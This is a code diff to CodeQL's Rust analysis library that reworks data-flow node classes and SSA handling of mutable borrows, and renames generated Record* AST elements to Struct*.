+/** A parameter for a library callable with a flow summary. */
+final class SummaryParameterNode extends ParameterNode, FlowSummaryNode {
+  private ParameterPosition pos_;
+
+  SummaryParameterNode() {
+    FlowSummaryImpl::Private::summaryParameterNode(this.getSummaryNode(), pos_)
+  }
+
+  override predicate isParameterOf(DataFlowCallable c, ParameterPosition pos) {
+    this.getSummarizedCallable() = c.asLibraryCallable() and pos = pos_
+  }
+}
+
+/**
+ * The run-time representation of a closure itself at function entry, viewed
+ * as a node in a data flow graph.
+ */
+final class ClosureParameterNode extends ParameterNode, TClosureSelfReferenceNode {
+  private CfgScope cfgScope;
+
+  ClosureParameterNode() { this = TClosureSelfReferenceNode(cfgScope) }
+
+  final override CfgScope getCfgScope() { result = cfgScope }
+
+  override predicate isParameterOf(DataFlowCallable c, ParameterPosition pos) {
+    cfgScope = c.asCfgScope() and pos.isClosureSelf()
+  }
+
+  override Location getLocation() { result = cfgScope.getLocation() }
+
+  override string toString() { result = "closure self in " + cfgScope }
+}
+
+abstract class ArgumentNode extends Node {
+  abstract predicate isArgumentOf(DataFlowCall call, RustDataFlow::ArgumentPosition pos);
+}
+
+final class ExprArgumentNode extends ArgumentNode, ExprNode {
+  private CallExprBaseCfgNode call_;
+  private RustDataFlow::ArgumentPosition pos_;
+
+  ExprArgumentNode() { isArgumentForCall(n, call_, pos_) }
+
+  override predicate isArgumentOf(DataFlowCall call, RustDataFlow::ArgumentPosition pos) {
+    call.asCallBaseExprCfgNode() = call_ and pos = pos_
+  }
+}
+
+/**
+ * The receiver of a method call _after_ any implicit borrow or dereferencing
+ * has taken place.
+ */
+final class ReceiverNode extends ArgumentNode, TReceiverNode {
+  private MethodCallExprCfgNode n;
+
+  ReceiverNode() { this = TReceiverNode(n, false) }
+
+  ExprCfgNode getReceiver() { result = n.getReceiver() }
+
+  MethodCallExprCfgNode getMethodCall() { result = n }
+
+  override predicate isArgumentOf(DataFlowCall call, RustDataFlow::ArgumentPosition pos) {
+    call.asMethodCallExprCfgNode() = n and pos = TSelfParameterPosition()
+  }
+
+  override CfgScope getCfgScope() { result = n.getAstNode().getEnclosingCfgScope() }
+
+  override Location getLocation() { result = this.getReceiver().getLocation() }
+
+  override string toString() { result = "receiver for " + this.getReceiver() }
+}
+
+final class SummaryArgumentNode extends FlowSummaryNode, ArgumentNode {
+  private FlowSummaryImpl::Private::SummaryNode receiver;
+  private RustDataFlow::ArgumentPosition pos_;
+
+  SummaryArgumentNode() {
+    FlowSummaryImpl::Private::summaryArgumentNode(receiver, this.getSummaryNode(), pos_)
+  }
+
+  override predicate isArgumentOf(DataFlowCall call, RustDataFlow::ArgumentPosition pos) {
+    call.isSummaryCall(_, receiver) and pos = pos_
+  }
+}
+
+/**
+ * A data flow node that represents the run-time representation of a closure
+ * passed into the closure body at an invocation.
+ */
+final class ClosureArgumentNode extends ArgumentNode, ExprNode {
+  private CallExprCfgNode call_;
+
+  ClosureArgumentNode() { lambdaCallExpr(call_, _, this.asExpr()) }
+
+  override predicate isArgumentOf(DataFlowCall call, RustDataFlow::ArgumentPosition pos) {
+    call.asCallExprCfgNode() = call_ and
+    pos.isClosureSelf()
+  }
+}
+
+/** An SSA node. */
+class SsaNode extends Node, TSsaNode {
+  SsaImpl::DataFlowIntegration::SsaNode node;
+
+  SsaNode() { this = TSsaNode(node) }
+
+  override CfgScope getCfgScope() { result = node.getBasicBlock().getScope() }
+
+  /** Gets the definition this node corresponds to, if any. */
+  SsaImpl::Definition asDefinition() {
+    result = node.(SsaImpl::DataFlowIntegration::SsaDefinitionNode).getDefinition()
+  }
+
+  override Location getLocation() { result = node.getLocation() }
+
+  override string toString() { result = "[SSA] " + node.toString() }
+}
+
+/** A data flow node that represents a value returned by a callable. */
+abstract class ReturnNode extends Node {
+  abstract ReturnKind getKind();
+}
+
+final class ExprReturnNode extends ExprNode, ReturnNode {
+  ExprReturnNode() { this.getCfgNode().getASuccessor() instanceof AnnotatedExitCfgNode }
+
+  override ReturnKind getKind() { result = TNormalReturnKind() }
+}
+
+final class SummaryReturnNode extends FlowSummaryNode, ReturnNode {
+  private ReturnKind rk;
+
+  SummaryReturnNode() { FlowSummaryImpl::Private::summaryReturnNode(this.getSummaryNode(), rk) }
+
+  override ReturnKind getKind() { result = rk }
+}
+
+/** A data flow node that represents the output of a call. */
+abstract class OutNode extends Node {
+  /** Gets the underlying call for this node. */
+  abstract DataFlowCall getCall(ReturnKind kind);
+}
+
+final private class ExprOutNode extends ExprNode, OutNode {
+  ExprOutNode() { this.asExpr() instanceof CallExprBaseCfgNode }
+
+  /** Gets the underlying call CFG node that includes this out node. */
+  override DataFlowCall getCall(ReturnKind kind) {
+    result.asCallBaseExprCfgNode() = this.getCfgNode() and
+    kind = TNormalReturnKind()
+  }
+}
+
+final class SummaryOutNode extends FlowSummaryNode, OutNode {
+  private DataFlowCall call;
+  private ReturnKind kind_;
+
+  SummaryOutNode() {
+    exists(FlowSummaryImpl::Private::SummaryNode receiver |
+      call.isSummaryCall(_, receiver) and
+      FlowSummaryImpl::Private::summaryOutNode(receiver, this.getSummaryNode(), kind_)
+    )
+  }
+
+  override DataFlowCall getCall(ReturnKind kind) { result = call and kind = kind_ }
+}
+
+/**
+ * A synthesized data flow node representing a closure object that tracks
+ * captured variables.
+ */
+class CaptureNode extends Node, TCaptureNode {
+  private VariableCapture::Flow::SynthesizedCaptureNode cn;
+
+  CaptureNode() { this = TCaptureNode(cn) }
+
+  VariableCapture::Flow::SynthesizedCaptureNode getSynthesizedCaptureNode() { result = cn }
+
+  override CfgScope getCfgScope() { result = cn.getEnclosingCallable() }
+
+  override Location getLocation() { result = cn.getLocation() }
+
+  override string toString() { result = cn.toString() }
+}
+
+/**
+ * A node associated with an object after an operation that might have
+ * changed its state.
+ *
+ * This can be either the argument to a callable after the callable returns
+ * (which might have mutated the argument), or the qualifier of a field after
+ * an update to the field.
+ *
+ * Nodes corresponding to AST elements, for example `ExprNode`, usually refer
+ * to the value before the update.
+ */
+abstract class PostUpdateNodePublic extends NodePublic {
+  /** Gets the node before the state update. */
+  abstract NodePublic getPreUpdateNode();
+}
+
+abstract class PostUpdateNode extends PostUpdateNodePublic, Node {
+  override string toString() { result = "[post] " + this.getPreUpdateNode().toString() }
+}
+
+final class ExprPostUpdateNode extends PostUpdateNode, TExprPostUpdateNode {
+  private ExprCfgNode n;
+
+  ExprPostUpdateNode() { this = TExprPostUpdateNode(n) }
+
+  override Node getPreUpdateNode() { result = TExprNode(n) }
+
+  override CfgScope getCfgScope() { result = n.getScope() }
+
+  override Location getLocation() { result = n.getLocation() }
+}
+
+final class ReceiverPostUpdateNode extends PostUpdateNode, TReceiverNode {
+  private MethodCallExprCfgNode n;
+
+  ReceiverPostUpdateNode() { this = TReceiverNode(n, true) }
+
+  override Node getPreUpdateNode() { result = TReceiverNode(n, false) }
+
+  override CfgScope getCfgScope() { result = n.getAstNode().getEnclosingCfgScope() }
+
+  override Location getLocation() { result = n.getReceiver().getLocation() }
+}
+
+final class SummaryPostUpdateNode extends FlowSummaryNode, PostUpdateNode {
+  private FlowSummaryNode pre;
+
+  SummaryPostUpdateNode() {
+    FlowSummaryImpl::Private::summaryPostUpdateNode(this.getSummaryNode(), pre.getSummaryNode())
+  }
+
+  override Node getPreUpdateNode() { result = pre }
+
+  final override string toString() { result = PostUpdateNode.super.toString() }
+}
+
+private class CapturePostUpdateNode extends PostUpdateNode, CaptureNode {
+  private CaptureNode pre;
+
+  CapturePostUpdateNode() {
+    VariableCapture::Flow::capturePostUpdateNode(this.getSynthesizedCaptureNode(),
+      pre.getSynthesizedCaptureNode())
+  }
+
+  override Node getPreUpdateNode() { result = pre }
+
+  final override string toString() { result = PostUpdateNode.super.toString() }
+}
+
+final class CastNode = NaNode;
+
+private import codeql.rust.internal.CachedStages
+
+cached
+newtype TNode =
+  TExprNode(ExprCfgNode n) { Stages::DataFlowStage::ref() } or
+  TSourceParameterNode(ParamBaseCfgNode p) or
+  TPatNode(PatCfgNode p) or
+  TNameNode(NameCfgNode n) { n.getName() = any(Variable v).getName() } or
+  TExprPostUpdateNode(ExprCfgNode e) {
+    isArgumentForCall(e, _, _)
+    or
+    lambdaCallExpr(_, _, e)
+    or
+    lambdaCreationExpr(e.getExpr(), _)
+    or
+    // Whenever `&mut e` has a post-update node we also create one for `e`.
+    // E.g., for `e` in `f(..., &mut e, ...)` or `*(&mut e) = ...`.
+    e = any(RefExprCfgNode ref | ref.isMut() and exists(TExprPostUpdateNode(ref))).getExpr()
+    or
+    e =
+      [
+        any(IndexExprCfgNode i).getBase(), //
+        any(FieldExprCfgNode access).getContainer(), //
+        any(TryExprCfgNode try).getExpr(), //
+        any(PrefixExprCfgNode pe | pe.getOperatorName() = "*").getExpr(), //
+        any(AwaitExprCfgNode a).getExpr(), any(MethodCallExprCfgNode mc).getReceiver(), //
+        getPostUpdateReverseStep(any(PostUpdateNode n).getPreUpdateNode().asExpr(), _)
+      ]
+  } or
+  TReceiverNode(MethodCallExprCfgNode mc, Boolean isPost) or
+  TSsaNode(SsaImpl::DataFlowIntegration::SsaNode node) or
+  TFlowSummaryNode(FlowSummaryImpl::Private::SummaryNode sn) or
+  TClosureSelfReferenceNode(CfgScope c) { lambdaCreationExpr(c, _) } or
+  TCaptureNode(VariableCapture::Flow::SynthesizedCaptureNode cn)
diff --git a/rust/ql/lib/codeql/rust/dataflow/internal/SsaImpl.qll b/rust/ql/lib/codeql/rust/dataflow/internal/SsaImpl.qll
index 430049a5006d..dcfe4f0edaf6 100644
--- a/rust/ql/lib/codeql/rust/dataflow/internal/SsaImpl.qll
+++ b/rust/ql/lib/codeql/rust/dataflow/internal/SsaImpl.qll
@@ -47,26 +47,7 @@ module SsaInput implements SsaImplCommon::InputSig<Location> {
 
   BasicBlock getABasicBlockSuccessor(BasicBlock bb) { result = bb.getASuccessor() }
 
-  /**
-   * A variable amenable to SSA construction.
-   *
-   * All immutable variables are amenable. Mutable variables are restricted to
-   * those that are not borrowed (either explicitly using `& mut`, or
-   * (potentially) implicit as borrowed receivers in a method call).
-   */
-  class SourceVariable extends Variable {
-    SourceVariable() {
-      this.isMutable()
-      implies
-      not exists(VariableAccess va | va = this.getAnAccess() |
-        va = any(RefExpr re | re.isMut()).getExpr()
-        or
-        // receivers can be borrowed implicitly, cf.
-        // https://doc.rust-lang.org/reference/expressions/method-call-expr.html
-        va = any(MethodCallExpr mce).getReceiver()
-      )
-    }
-  }
+  class SourceVariable = Variable;
 
   predicate variableWrite(BasicBlock bb, int i, SourceVariable v, boolean certain) {
     (
@@ -76,7 +57,12 @@ module SsaInput implements SsaImplCommon::InputSig<Location> {
     ) and
     certain = true
     or
-    capturedCallWrite(_, bb, i, v) and certain = false
+    (
+      capturedCallWrite(_, bb, i, v)
+      or
+      mutablyBorrows(bb.getNode(i).getAstNode(), v)
+    ) and
+    certain = false
   }
 
   predicate variableRead(BasicBlock bb, int i, SourceVariable v, boolean certain) {
@@ -114,12 +100,6 @@ class PhiDefinition = Impl::PhiNode;
 
 module Consistency = Impl::Consistency;
 
-module ExposedForTestingOnly {
-  predicate ssaDefReachesReadExt = Impl::ssaDefReachesReadExt/4;
-
-  predicate phiHasInputFromBlockExt = Impl::phiHasInputFromBlockExt/3;
-}
-
 /** Holds if `v` is read at index `i` in basic block `bb`. */
 private predicate variableReadActual(BasicBlock bb, int i, Variable v) {
   exists(VariableAccess read |
@@ -229,6 +209,15 @@ predicate capturedCallWrite(Expr call, BasicBlock bb, int i, Variable v) {
   )
 }
 
+/** Holds if `v` may be mutably borrowed in `e`. */
+private predicate mutablyBorrows(Expr e, Variable v) {
+  e = any(MethodCallExpr mc).getReceiver() and
+  e.(VariableAccess).getVariable() = v and
+  v.isMutable()
+  or
+  exists(RefExpr re | re = e and re.isMut() and re.getExpr().(VariableAccess).getVariable() = v)
+}
+
 /**
  * Holds if a pseudo read of captured variable `v` should be inserted
  * at index `i` in exit block `bb`.
@@ -309,13 +298,15 @@ private module Cached {
     import DataFlowIntegrationImpl
 
     cached
-    predicate localFlowStep(DefinitionExt def, Node nodeFrom, Node nodeTo, boolean isUseStep) {
-      DataFlowIntegrationImpl::localFlowStep(def, nodeFrom, nodeTo, isUseStep)
+    predicate localFlowStep(
+      SsaInput::SourceVariable v, Node nodeFrom, Node nodeTo, boolean isUseStep
+    ) {
+      DataFlowIntegrationImpl::localFlowStep(v, nodeFrom, nodeTo, isUseStep)
     }
 
     cached
-    predicate localMustFlowStep(DefinitionExt def, Node nodeFrom, Node nodeTo) {
-      DataFlowIntegrationImpl::localMustFlowStep(def, nodeFrom, nodeTo)
+    predicate localMustFlowStep(SsaInput::SourceVariable v, Node nodeFrom, Node nodeTo) {
+      DataFlowIntegrationImpl::localMustFlowStep(v, nodeFrom, nodeTo)
     }
 
     signature predicate guardChecksSig(CfgNodes::AstCfgNode g, Cfg::CfgNode e, boolean branch);
@@ -340,72 +331,59 @@ private module Cached {
 import Cached
 private import codeql.rust.dataflow.Ssa
 
-/**
- * An extended static single assignment (SSA) definition.
- *
- * This is either a normal SSA definition (`Definition`) or a
- * phi-read node (`PhiReadNode`).
- *
- * Only intended for internal use.
- */
-class DefinitionExt extends Impl::DefinitionExt {
-  CfgNode getARead() { result = getARead(this) }
-
-  override string toString() { result = this.(Ssa::Definition).toString() }
-
-  override Location getLocation() { result = this.(Ssa::Definition).getLocation() }
-}
-
-/**
- * A phi-read node.
- *
- * Only intended for internal use.
- */
-class PhiReadNode extends DefinitionExt, Impl::PhiReadNode {
-  override string toString() { result = "SSA phi read(" + this.getSourceVariable() + ")" }
-
-  override Location getLocation() { result = Impl::PhiReadNode.super.getLocation() }
-}
-
 private module DataFlowIntegrationInput implements Impl::DataFlowIntegrationInputSig {
+  private import codeql.rust.dataflow.internal.DataFlowImpl as DataFlowImpl
+
   class Expr extends CfgNodes::AstCfgNode {
     predicate hasCfgNode(SsaInput::BasicBlock bb, int i) { this = bb.getNode(i) }
   }
 
   Expr getARead(Definition def) { result = Cached::getARead(def) }
 
-  /** Holds if SSA definition `def` assigns `value` to the underlying variable. */
-  predicate ssaDefAssigns(WriteDefinition def, Expr value) {
-    none() // handled in `DataFlowImpl.qll` instead
-  }
+  predicate ssaDefHasSource(WriteDefinition def) { none() } // handled in `DataFlowImpl.qll` instead
 
-  class Parameter = CfgNodes::ParamBaseCfgNode;
+  private predicate isArg(CfgNodes::CallExprBaseCfgNode call, CfgNodes::ExprCfgNode e) {
+    call.getArgument(_) = e
+    or
+    call.(CfgNodes::MethodCallExprCfgNode).getReceiver() = e
+    or
+    exists(CfgNodes::ExprCfgNode mid |
+      isArg(call, mid) and
+      e = DataFlowImpl::getPostUpdateReverseStep(mid, _)
+    )
+  }
 
-  /** Holds if SSA definition `def` initializes parameter `p` at function entry. */
-  predicate ssaDefInitializesParam(WriteDefinition def, Parameter p) {
-    none() // handled in `DataFlowImpl.qll` instead
+  predicate allowFlowIntoUncertainDef(UncertainWriteDefinition def) {
+    exists(CfgNodes::CallExprBaseCfgNode call, Variable v, BasicBlock bb, int i |
+      def.definesAt(v, bb, i) and
+      mutablyBorrows(bb.getNode(i).getAstNode(), v) and
+      isArg(call, bb.getNode(i))
+    )
   }
 
   class Guard extends CfgNodes::AstCfgNode {
-    predicate hasCfgNode(SsaInput::BasicBlock bb, int i) { this = bb.getNode(i) }
+    /**
+     * Holds if the control flow branching from `bb1` is dependent on this guard,
+     * and that the edge from `bb1` to `bb2` corresponds to the evaluation of this
+     * guard to `branch`.
+     */
+    predicate controlsBranchEdge(SsaInput::BasicBlock bb1, SsaInput::BasicBlock bb2, boolean branch) {
+      exists(Cfg::ConditionalSuccessor s |
+        this = bb1.getANode() and
+        bb2 = bb1.getASuccessor(s) and
+        s.getValue() = branch
+      )
+    }
   }
 
   /** Holds if the guard `guard` controls block `bb` upon evaluating to `branch`. */
-  predicate guardControlsBlock(Guard guard, SsaInput::BasicBlock bb, boolean branch) {
+  predicate guardDirectlyControlsBlock(Guard guard, SsaInput::BasicBlock bb, boolean branch) {
     exists(ConditionBasicBlock conditionBlock, ConditionalSuccessor s |
       guard = conditionBlock.getLastNode() and
       s.getValue() = branch and
       conditionBlock.edgeDominates(bb, s)
     )
   }
-
-  /** Gets an immediate conditional successor of basic block `bb`, if any. */
-  SsaInput::BasicBlock getAConditionalBasicBlockSuccessor(SsaInput::BasicBlock bb, boolean branch) {
-    exists(Cfg::ConditionalSuccessor s |
-      result = bb.getASuccessor(s) and
-      s.getValue() = branch
-    )
-  }
 }
 
 private module DataFlowIntegrationImpl = Impl::DataFlowIntegration<DataFlowIntegrationInput>;
diff --git a/rust/ql/lib/codeql/rust/dataflow/internal/TaintTrackingImpl.qll b/rust/ql/lib/codeql/rust/dataflow/internal/TaintTrackingImpl.qll
index 4d71297660a2..0ae6aacb430d 100644
--- a/rust/ql/lib/codeql/rust/dataflow/internal/TaintTrackingImpl.qll
+++ b/rust/ql/lib/codeql/rust/dataflow/internal/TaintTrackingImpl.qll
@@ -4,6 +4,8 @@ private import codeql.rust.controlflow.CfgNodes
 private import codeql.rust.dataflow.DataFlow
 private import codeql.rust.dataflow.FlowSummary
 private import DataFlowImpl
+private import Node as Node
+private import Content
 private import FlowSummaryImpl as FlowSummaryImpl
 private import codeql.rust.internal.CachedStages
 
@@ -51,6 +53,9 @@ module RustTaintTracking implements InputSig<Location, RustDataFlow> {
       exists(FormatArgsExprCfgNode format | succ.asExpr() = format |
         pred.asExpr() = [format.getArgumentExpr(_), format.getFormatTemplateVariableAccess(_)]
       )
+      or
+      succ.(Node::PostUpdateNode).getPreUpdateNode().asExpr() =
+        getPostUpdateReverseStep(pred.(Node::PostUpdateNode).getPreUpdateNode().asExpr(), false)
     )
     or
     FlowSummaryImpl::Private::Steps::summaryLocalStep(pred.(Node::FlowSummaryNode).getSummaryNode(),
@@ -67,7 +72,9 @@ module RustTaintTracking implements InputSig<Location, RustDataFlow> {
     exists(Content c | c = cs.(SingletonContentSet).getContent() |
       c instanceof ElementContent or
       c instanceof ReferenceContent
-    )
+    ) and
+    // Optional steps are added through isAdditionalFlowStep but we don't want the implicit reads
+    not optionalStep(node, _, _)
   }
 
   /**
diff --git a/rust/ql/lib/codeql/rust/elements.qll b/rust/ql/lib/codeql/rust/elements.qll
index 3bcb8cafb067..21c254b5d676 100644
--- a/rust/ql/lib/codeql/rust/elements.qll
+++ b/rust/ql/lib/codeql/rust/elements.qll
@@ -48,6 +48,7 @@ import codeql.rust.elements.ConstArg
 import codeql.rust.elements.ConstBlockPat
 import codeql.rust.elements.ConstParam
 import codeql.rust.elements.ContinueExpr
+import codeql.rust.elements.Crate
 import codeql.rust.elements.DynTraitTypeRepr
 import codeql.rust.elements.Element
 import codeql.rust.elements.Enum
@@ -133,14 +134,6 @@ import codeql.rust.elements.PrefixExpr
 import codeql.rust.elements.PtrTypeRepr
 import codeql.rust.elements.RangeExpr
 import codeql.rust.elements.RangePat
-import codeql.rust.elements.RecordExpr
-import codeql.rust.elements.RecordExprField
-import codeql.rust.elements.RecordExprFieldList
-import codeql.rust.elements.RecordField
-import codeql.rust.elements.RecordFieldList
-import codeql.rust.elements.RecordPat
-import codeql.rust.elements.RecordPatField
-import codeql.rust.elements.RecordPatFieldList
 import codeql.rust.elements.RefExpr
 import codeql.rust.elements.RefPat
 import codeql.rust.elements.RefTypeRepr
@@ -158,6 +151,14 @@ import codeql.rust.elements.Static
 import codeql.rust.elements.Stmt
 import codeql.rust.elements.StmtList
 import codeql.rust.elements.Struct
+import codeql.rust.elements.StructExpr
+import codeql.rust.elements.StructExprField
+import codeql.rust.elements.StructExprFieldList
+import codeql.rust.elements.StructField
+import codeql.rust.elements.StructFieldList
+import codeql.rust.elements.StructPat
+import codeql.rust.elements.StructPatField
+import codeql.rust.elements.StructPatFieldList
 import codeql.rust.elements.Token
 import codeql.rust.elements.TokenTree
 import codeql.rust.elements.Trait
@@ -185,6 +186,7 @@ import codeql.rust.elements.UseBoundGenericArgs
 import codeql.rust.elements.UseTree
 import codeql.rust.elements.UseTreeList
 import codeql.rust.elements.Variant
+import codeql.rust.elements.VariantDef
 import codeql.rust.elements.VariantList
 import codeql.rust.elements.Visibility
 import codeql.rust.elements.WhereClause
diff --git a/rust/ql/lib/codeql/rust/elements/Crate.qll b/rust/ql/lib/codeql/rust/elements/Crate.qll
new file mode 100644
index 000000000000..a092591a4701
--- /dev/null
+++ b/rust/ql/lib/codeql/rust/elements/Crate.qll
@@ -0,0 +1,11 @@
+// generated by codegen, do not edit
+/**
+ * This module provides the public class `Crate`.
+ */
+
+private import internal.CrateImpl
+import codeql.rust.elements.Locatable
+import codeql.rust.elements.Module
+import codeql.rust.elements.internal.NamedCrate
+
+final class Crate = Impl::Crate;
diff --git a/rust/ql/lib/codeql/rust/elements/FieldList.qll b/rust/ql/lib/codeql/rust/elements/FieldList.qll
index ce71dd9af024..4821f3dcd665 100644
--- a/rust/ql/lib/codeql/rust/elements/FieldList.qll
+++ b/rust/ql/lib/codeql/rust/elements/FieldList.qll
@@ -7,7 +7,7 @@ private import internal.FieldListImpl
 import codeql.rust.elements.AstNode
 
 /**
- * A FieldList. For example:
+ * A field of a variant. For example:
  * ```rust
  * todo!()
  * ```
diff --git a/rust/ql/lib/codeql/rust/elements/GenericParamList.qll b/rust/ql/lib/codeql/rust/elements/GenericParamList.qll
index ea6756f5abfd..58e4d6eea623 100644
--- a/rust/ql/lib/codeql/rust/elements/GenericParamList.qll
+++ b/rust/ql/lib/codeql/rust/elements/GenericParamList.qll
@@ -8,9 +8,12 @@ import codeql.rust.elements.AstNode
 import codeql.rust.elements.GenericParam
 
 /**
- * A GenericParamList. For example:
+ * A list of generic parameters. For example:
  * ```rust
- * todo!()
+ * fn f<A, B>(a: A, b: B) {}
+ * //  ^^^^^^
+ * type Foo<T1, T2> = (T1, T2);
+ * //      ^^^^^^^^
  * ```
  */
 final class GenericParamList = Impl::GenericParamList;
diff --git a/rust/ql/lib/codeql/rust/elements/RecordExpr.qll b/rust/ql/lib/codeql/rust/elements/RecordExpr.qll
deleted file mode 100644
index 3429ff3597e0..000000000000
--- a/rust/ql/lib/codeql/rust/elements/RecordExpr.qll
+++ /dev/null
@@ -1,20 +0,0 @@
-// generated by codegen, do not edit
-/**
- * This module provides the public class `RecordExpr`.
- */
-
-private import internal.RecordExprImpl
-import codeql.rust.elements.Expr
-import codeql.rust.elements.PathAstNode
-import codeql.rust.elements.RecordExprFieldList
-
-/**
- * A record expression. For example:
- * ```rust
- * let first = Foo { a: 1, b: 2 };
- * let second = Foo { a: 2, ..first };
- * Foo { a: 1, b: 2 }[2] = 10;
- * Foo { .. } = second;
- * ```
- */
-final class RecordExpr = Impl::RecordExpr;
diff --git a/rust/ql/lib/codeql/rust/elements/RecordExprField.qll b/rust/ql/lib/codeql/rust/elements/RecordExprField.qll
deleted file mode 100644
index c17e1993ff80..000000000000
--- a/rust/ql/lib/codeql/rust/elements/RecordExprField.qll
+++ /dev/null
@@ -1,18 +0,0 @@
-// generated by codegen, do not edit
-/**
- * This module provides the public class `RecordExprField`.
- */
-
-private import internal.RecordExprFieldImpl
-import codeql.rust.elements.AstNode
-import codeql.rust.elements.Attr
-import codeql.rust.elements.Expr
-import codeql.rust.elements.NameRef
-
-/**
- * A field in a record expression. For example `a: 1` in:
- * ```rust
- * Foo { a: 1, b: 2 };
- * ```
- */
-final class RecordExprField = Impl::RecordExprField;
diff --git a/rust/ql/lib/codeql/rust/elements/RecordExprFieldList.qll b/rust/ql/lib/codeql/rust/elements/RecordExprFieldList.qll
deleted file mode 100644
index 731dfb962628..000000000000
--- a/rust/ql/lib/codeql/rust/elements/RecordExprFieldList.qll
+++ /dev/null
@@ -1,18 +0,0 @@
-// generated by codegen, do not edit
-/**
- * This module provides the public class `RecordExprFieldList`.
- */
-
-private import internal.RecordExprFieldListImpl
-import codeql.rust.elements.AstNode
-import codeql.rust.elements.Attr
-import codeql.rust.elements.Expr
-import codeql.rust.elements.RecordExprField
-
-/**
- * A RecordExprFieldList. For example:
- * ```rust
- * todo!()
- * ```
- */
-final class RecordExprFieldList = Impl::RecordExprFieldList;
diff --git a/rust/ql/lib/codeql/rust/elements/RecordField.qll b/rust/ql/lib/codeql/rust/elements/RecordField.qll
deleted file mode 100644
index 4a5e749b9050..000000000000
--- a/rust/ql/lib/codeql/rust/elements/RecordField.qll
+++ /dev/null
@@ -1,19 +0,0 @@
-// generated by codegen, do not edit
-/**
- * This module provides the public class `RecordField`.
- */
-
-private import internal.RecordFieldImpl
-import codeql.rust.elements.AstNode
-import codeql.rust.elements.Attr
-import codeql.rust.elements.Name
-import codeql.rust.elements.TypeRepr
-import codeql.rust.elements.Visibility
-
-/**
- * A RecordField. For example:
- * ```rust
- * todo!()
- * ```
- */
-final class RecordField = Impl::RecordField;
diff --git a/rust/ql/lib/codeql/rust/elements/RecordFieldList.qll b/rust/ql/lib/codeql/rust/elements/RecordFieldList.qll
deleted file mode 100644
index 67fdc604e4d2..000000000000
--- a/rust/ql/lib/codeql/rust/elements/RecordFieldList.qll
+++ /dev/null
@@ -1,16 +0,0 @@
-// generated by codegen, do not edit
-/**
- * This module provides the public class `RecordFieldList`.
- */
-
-private import internal.RecordFieldListImpl
-import codeql.rust.elements.FieldList
-import codeql.rust.elements.RecordField
-
-/**
- * A RecordFieldList. For example:
- * ```rust
- * todo!()
- * ```
- */
-final class RecordFieldList = Impl::RecordFieldList;
diff --git a/rust/ql/lib/codeql/rust/elements/RecordPat.qll b/rust/ql/lib/codeql/rust/elements/RecordPat.qll
deleted file mode 100644
index 242b73986962..000000000000
--- a/rust/ql/lib/codeql/rust/elements/RecordPat.qll
+++ /dev/null
@@ -1,20 +0,0 @@
-// generated by codegen, do not edit
-/**
- * This module provides the public class `RecordPat`.
- */
-
-private import internal.RecordPatImpl
-import codeql.rust.elements.Pat
-import codeql.rust.elements.PathAstNode
-import codeql.rust.elements.RecordPatFieldList
-
-/**
- * A record pattern. For example:
- * ```rust
- * match x {
- *     Foo { a: 1, b: 2 } => "ok",
- *     Foo { .. } => "fail",
- * }
- * ```
- */
-final class RecordPat = Impl::RecordPat;
diff --git a/rust/ql/lib/codeql/rust/elements/RecordPatField.qll b/rust/ql/lib/codeql/rust/elements/RecordPatField.qll
deleted file mode 100644
index 8e4545c61a3a..000000000000
--- a/rust/ql/lib/codeql/rust/elements/RecordPatField.qll
+++ /dev/null
@@ -1,18 +0,0 @@
-// generated by codegen, do not edit
-/**
- * This module provides the public class `RecordPatField`.
- */
-
-private import internal.RecordPatFieldImpl
-import codeql.rust.elements.AstNode
-import codeql.rust.elements.Attr
-import codeql.rust.elements.NameRef
-import codeql.rust.elements.Pat
-
-/**
- * A field in a record pattern. For example `a: 1` in:
- * ```rust
- * let Foo { a: 1, b: 2 } = foo;
- * ```
- */
-final class RecordPatField = Impl::RecordPatField;
diff --git a/rust/ql/lib/codeql/rust/elements/RecordPatFieldList.qll b/rust/ql/lib/codeql/rust/elements/RecordPatFieldList.qll
deleted file mode 100644
index 1392d045d4ec..000000000000
--- a/rust/ql/lib/codeql/rust/elements/RecordPatFieldList.qll
+++ /dev/null
@@ -1,17 +0,0 @@
-// generated by codegen, do not edit
-/**
- * This module provides the public class `RecordPatFieldList`.
- */
-
-private import internal.RecordPatFieldListImpl
-import codeql.rust.elements.AstNode
-import codeql.rust.elements.RecordPatField
-import codeql.rust.elements.RestPat
-
-/**
- * A RecordPatFieldList. For example:
- * ```rust
- * todo!()
- * ```
- */
-final class RecordPatFieldList = Impl::RecordPatFieldList;
diff --git a/rust/ql/lib/codeql/rust/elements/Struct.qll b/rust/ql/lib/codeql/rust/elements/Struct.qll
index b01abf3e9a4c..b78254d87dc2 100644
--- a/rust/ql/lib/codeql/rust/elements/Struct.qll
+++ b/rust/ql/lib/codeql/rust/elements/Struct.qll
@@ -9,6 +9,7 @@ import codeql.rust.elements.FieldList
 import codeql.rust.elements.GenericParamList
 import codeql.rust.elements.Item
 import codeql.rust.elements.Name
+import codeql.rust.elements.VariantDef
 import codeql.rust.elements.Visibility
 import codeql.rust.elements.WhereClause
 
diff --git a/rust/ql/lib/codeql/rust/elements/StructExpr.qll b/rust/ql/lib/codeql/rust/elements/StructExpr.qll
new file mode 100644
index 000000000000..ededc485eb65
--- /dev/null
+++ b/rust/ql/lib/codeql/rust/elements/StructExpr.qll
@@ -0,0 +1,20 @@
+// generated by codegen, do not edit
+/**
+ * This module provides the public class `StructExpr`.
+ */
+
+private import internal.StructExprImpl
+import codeql.rust.elements.Expr
+import codeql.rust.elements.PathAstNode
+import codeql.rust.elements.StructExprFieldList
+
+/**
+ * A struct expression. For example:
+ * ```rust
+ * let first = Foo { a: 1, b: 2 };
+ * let second = Foo { a: 2, ..first };
+ * Foo { a: 1, b: 2 }[2] = 10;
+ * Foo { .. } = second;
+ * ```
+ */
+final class StructExpr = Impl::StructExpr;
diff --git a/rust/ql/lib/codeql/rust/elements/StructExprField.qll b/rust/ql/lib/codeql/rust/elements/StructExprField.qll
new file mode 100644
index 000000000000..eb63860cf9a4
--- /dev/null
+++ b/rust/ql/lib/codeql/rust/elements/StructExprField.qll
@@ -0,0 +1,18 @@
+// generated by codegen, do not edit
+/**
+ * This module provides the public class `StructExprField`.
+ */
+
+private import internal.StructExprFieldImpl
+import codeql.rust.elements.AstNode
+import codeql.rust.elements.Attr
+import codeql.rust.elements.Expr
+import codeql.rust.elements.NameRef
+
+/**
+ * A field in a struct expression. For example `a: 1` in:
+ * ```rust
+ * Foo { a: 1, b: 2 };
+ * ```
+ */
+final class StructExprField = Impl::StructExprField;
